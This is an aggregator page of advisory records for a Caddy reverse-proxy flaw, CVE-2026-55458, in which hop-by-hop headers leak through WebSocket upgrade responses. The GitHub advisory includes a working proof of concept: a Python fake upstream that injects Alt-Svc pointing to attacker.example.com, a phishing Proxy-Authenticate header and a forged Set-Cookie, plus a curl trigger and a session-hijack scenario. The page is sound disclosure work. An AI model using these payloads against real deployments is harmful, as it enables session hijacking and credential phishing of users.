Caddy: RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through
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cve-program · CVE-2026-55458
PublishedCaddy is an extensible server platform that uses TLS by default. Prior to 2.11.5, the reverse proxy's finalizeResponse method in modules/caddyhttp/reverseproxy/reverseproxy.go handles an upstream 101 Switching Protocols response before running removeConnectionHeaders and the hopHeaders deletion loop used for ordinary responses. The early return invokes handleUpgradeResponse, which copies the upstream headers to the client and normalizes only WebSocket-specific header names. An attacker who controls or compromises a proxied WebSocket upstream can therefore cause hop-by-hop headers such as Alt-Svc, Keep-Alive, and Proxy-Authenticate, as well as headers named by Connection, to cross the proxy boundary. For HTTP/2 or HTTP/3 extended CONNECT, the upstream 101 response may be represented to the client as an ordinary successful response, increasing the chance that leaked headers are processed. This issue is fixed in version 2.11.5.
- Source published
- 5 Nov 2026 20:15:22 UTC
- Source modified
- 9 Nov 2026 18:23:55 UTC
- Saved here
- 9 Nov 2026 20:02:10 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 2.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
euvd · EUVD-2026-117782
PublishedCaddy is an extensible server platform that uses TLS by default. Prior to 2.11.5, the reverse proxy's finalizeResponse method in modules/caddyhttp/reverseproxy/reverseproxy.go handles an upstream 101 Switching Protocols response before running removeConnectionHeaders and the hopHeaders deletion loop used for ordinary responses. The early return invokes handleUpgradeResponse, which copies the upstream headers to the client and normalizes only WebSocket-specific header names. An attacker who controls or compromises a proxied WebSocket upstream can therefore cause hop-by-hop headers such as Alt-Svc, Keep-Alive, and Proxy-Authenticate, as well as headers named by Connection, to cross the proxy boundary. For HTTP/2 or HTTP/3 extended CONNECT, the upstream 101 response may be represented to the client as an ordinary successful response, increasing the chance that leaked headers are processed. This issue is fixed in version 2.11.5.
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EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
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datePublished: Nov 5, 2026, 8:15:22 PM
dateUpdated: Nov 9, 2026, 6:23:55 PM
- Source published
- Nov 5, 2026, 8:15:22 PM (timezone not stated)
- Source modified
- Nov 9, 2026, 6:23:55 PM (timezone not stated)
- Saved here
- 16 Nov 2026 04:35:44 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 2.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
nvd · CVE-2026-55458
PublishedCaddy is an extensible server platform that uses TLS by default. Prior to 2.11.5, the reverse proxy's finalizeResponse method in modules/caddyhttp/reverseproxy/reverseproxy.go handles an upstream 101 Switching Protocols response before running removeConnectionHeaders and the hopHeaders deletion loop used for ordinary responses. The early return invokes handleUpgradeResponse, which copies the upstream headers to the client and normalizes only WebSocket-specific header names. An attacker who controls or compromises a proxied WebSocket upstream can therefore cause hop-by-hop headers such as Alt-Svc, Keep-Alive, and Proxy-Authenticate, as well as headers named by Connection, to cross the proxy boundary. For HTTP/2 or HTTP/3 extended CONNECT, the upstream 101 response may be represented to the client as an ordinary successful response, increasing the chance that leaked headers are processed. This issue is fixed in version 2.11.5.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-444
Original publisher date fields
published: 2026-11-05T21:18:51.413
lastModified: 2026-11-12T22:18:35.610
- Source published
- 5 Nov 2026 21:18:51 UTC
- Source modified
- 12 Nov 2026 22:18:35 UTC
- Saved here
- 14 Nov 2026 01:07:33 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 2.9 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
osv · GHSA-8qx7-j2v2-x6q5
Published### AI Disclosure This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand. ### Summary Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including `Alt-Svc`, `Keep-Alive`, `Proxy-Authenticate`, `Transfer-Encoding`, or `Trailer`, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades. An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via `Alt-Svc`, cookie injection via `Set-Cookie`, and proxy authentication phishing. The normal response path in `finalizeResponse` correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely. ### Details In `modules/caddyhttp/reverseproxy/reverseproxy.go`, the `finalizeResponse` method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client: ```go // reverseproxy.go:1194-1198 removeConnectionHeaders(res.Header) for _, h := range hopHeaders { res.Header.Del(h) } ``` However, the 101 Switching Protocols check at line 1187 returns before this stripping code: ```go // reverseproxy.go:1186-1192 if res.StatusCode == http.StatusSwitchingProtocols { var wg sync.WaitGroup h.handleUpgradeResponse(logger, &wg, rw, req, res) wg.Wait() return nil // <-- returns BEFORE removeConnectionHeaders and hopHeaders loop } ``` Inside `handleUpgradeResponse` (`streaming.go:60-91`), all upstream response headers are copied to the client without any hop-by-hop filtering: ```go // streaming.go:88-91 copyHeader(rw.Header(), res.Header) // copies ALL upstream headers normalizeWebsocketHeaders(rw.Header()) // only remaps Sec-WebSocket-* keys ``` The `normalizeWebsocketHeaders` function (line 714) only handles WebSocket-specific header key mapping (`Sec-Websocket-*` to `Sec-WebSocket-*`). It does not strip hop-by-hop headers. #### Hop-by-Hop Headers That Leak Through Defined at `reverseproxy.go:1681-1692`: ``` Alt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate, Proxy-Authorization, Te, Trailer, Transfer-Encoding, Upgrade ``` All 10 are stripped from normal responses. **None** are stripped from WebSocket upgrade responses. For HTTP/2 and HTTP/3 WebSocket connections (extended CONNECT with `:protocol: websocket`), Caddy converts the upstream's 101 into a `200 OK` for the client (`streaming.go:99-104`). The leaked headers arrive in a standard HTTP 200 response that browsers fully process, making `Alt-Svc` hijacking and `Set-Cookie` injection practically exploitable. Normal (200): `removeConnectionHeaders()` runs, `hopHeaders` loop runs -> headers stripped Upgrade (101): `handleUpgradeResponse()` runs, returns early -> headers are NOT stripped This is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping. ### PoC Caddy config: ``` :8080 { reverse_proxy localhost:8083 } ``` Script: ```python import socket UPSTREAM = ( b"HTTP/1.1 101 Switching Protocols\r\n" b"Upgrade: websocket\r\n" b"Connection: Upgrade\r\n" b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n" b"Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\r\n" b"Keep-Alive: timeout=999\r\n" b"Proxy-Authenticate: Basic realm=\"phish\"\r\n" b"Set-Cookie: injected=malicious; Path=/\r\n" b"\r\n" ) s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", 8083)) s.listen(1) conn, _ = s.accept() conn.send(UPSTREAM) ``` Curl: ```bash curl -v \ -H "Upgrade: websocket" \ -H "Connection: Upgrade" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ -H "Sec-WebSocket-Version: 13" \ http://localhost:8080/ws 2>&1 ``` Output: ``` < HTTP/1.1 101 Switching Protocols < Alt-Svc: h2="attacker.example.com:443"; ma=86400 < Connection: Upgrade < Keep-Alive: timeout=999 < Proxy-Authenticate: Basic realm="phish" < Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= < Server: Caddy < Set-Cookie: injected=malicious; Path=/ < Upgrade: websocket ``` `Alt-Svc`, `Keep-Alive`, and `Proxy-Authenticate` are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 §6.1. They all appear in the response. Same upstream, same headers but on a 200 response. Caddy strips `Alt-Svc` correctly: ```bash curl -v http://localhost:8080/ # Alt-Svc is absent ``` ### Impact This is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 §6.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries. Any Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue. How an attack might look: A company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/. Now every visitor to app.example.com gets the attacker's session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user. Caddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path. ### Suggested Fix I'll add my fix to the branch in this security advisory. ### Contact Details If you find this find worth your time you can contact me under [email protected] or +43 (677) 63 397 910. In case this is something that will go public I'd be happy to be mentioned under my real name, Dionis Ramadani. Thank you for taking the time, I hope this is something interesting for you.
- Source published
- 28 Oct 2026 19:49:33 UTC
- Source modified
- 5 Nov 2026 23:25:42 UTC
- Saved here
- 5 Nov 2026 23:38:32 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Publisher rating · LOW
osv · GO-2026-6874
PublishedCaddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through in github.com/caddyserver/caddy
- Source published
- 5 Nov 2026 22:54:32 UTC
- Source modified
- 5 Nov 2026 23:15:18 UTC
- Saved here
- 5 Nov 2026 23:38:32 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.